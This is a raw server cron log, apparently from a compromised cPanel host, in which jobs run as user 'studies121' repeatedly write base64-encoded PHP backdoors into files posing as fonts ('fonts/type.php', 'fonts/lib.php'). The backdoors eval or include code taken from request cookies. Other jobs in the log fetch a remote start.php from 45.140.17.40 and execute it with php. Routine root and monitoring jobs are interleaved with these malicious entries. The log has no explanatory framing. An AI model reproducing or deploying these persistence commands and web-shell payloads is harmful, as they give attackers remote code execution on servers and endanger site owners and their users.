Aug 30 13:18:01 ip-184-168-122-23 CROND[20020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:19:01 ip-184-168-122-23 CROND[20105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:19:01 ip-184-168-122-23 CROND[20104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:19:01 ip-184-168-122-23 CROND[20106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:19:01 ip-184-168-122-23 CROND[20107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:20:01 ip-184-168-122-23 CROND[20216]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 13:20:01 ip-184-168-122-23 CROND[20217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:20:01 ip-184-168-122-23 CROND[20220]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 13:20:01 ip-184-168-122-23 CROND[20223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:20:01 ip-184-168-122-23 CROND[20225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:20:01 ip-184-168-122-23 CROND[20227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:20:01 ip-184-168-122-23 CROND[20224]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:20:01 ip-184-168-122-23 CROND[20229]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:20:01 ip-184-168-122-23 CROND[20226]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:21:01 ip-184-168-122-23 CROND[20365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:21:01 ip-184-168-122-23 CROND[20367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:21:01 ip-184-168-122-23 CROND[20368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:21:01 ip-184-168-122-23 CROND[20369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:22:01 ip-184-168-122-23 CROND[20543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:22:01 ip-184-168-122-23 CROND[20545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:22:01 ip-184-168-122-23 CROND[20546]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:22:01 ip-184-168-122-23 CROND[20547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:22:01 ip-184-168-122-23 CROND[20548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:23:01 ip-184-168-122-23 CROND[20627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:23:01 ip-184-168-122-23 CROND[20630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:23:01 ip-184-168-122-23 CROND[20628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:23:01 ip-184-168-122-23 CROND[20629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:24:01 ip-184-168-122-23 CROND[20709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:24:01 ip-184-168-122-23 CROND[20711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:24:01 ip-184-168-122-23 CROND[20713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:24:01 ip-184-168-122-23 CROND[20714]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:24:01 ip-184-168-122-23 CROND[20712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:25:01 ip-184-168-122-23 CROND[20814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:25:01 ip-184-168-122-23 CROND[20816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:25:01 ip-184-168-122-23 CROND[20819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:25:01 ip-184-168-122-23 CROND[20817]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:25:01 ip-184-168-122-23 CROND[20820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:25:01 ip-184-168-122-23 CROND[20821]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:26:01 ip-184-168-122-23 CROND[20918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:26:01 ip-184-168-122-23 CROND[20923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:26:01 ip-184-168-122-23 CROND[20920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:26:01 ip-184-168-122-23 CROND[20921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:26:01 ip-184-168-122-23 CROND[20922]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:27:01 ip-184-168-122-23 CROND[21097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:27:01 ip-184-168-122-23 CROND[21101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:27:01 ip-184-168-122-23 CROND[21099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:27:01 ip-184-168-122-23 CROND[21100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:28:01 ip-184-168-122-23 CROND[21195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:28:01 ip-184-168-122-23 CROND[21197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:28:01 ip-184-168-122-23 CROND[21200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:28:01 ip-184-168-122-23 CROND[21199]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:28:01 ip-184-168-122-23 CROND[21201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:29:01 ip-184-168-122-23 CROND[21292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:29:01 ip-184-168-122-23 CROND[21293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:29:01 ip-184-168-122-23 CROND[21294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:29:01 ip-184-168-122-23 CROND[21296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:30:01 ip-184-168-122-23 CROND[21383]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 13:30:01 ip-184-168-122-23 CROND[21387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:30:01 ip-184-168-122-23 CROND[21384]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:30:01 ip-184-168-122-23 CROND[21388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:30:01 ip-184-168-122-23 CROND[21386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:30:01 ip-184-168-122-23 CROND[21389]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:30:01 ip-184-168-122-23 CROND[21390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
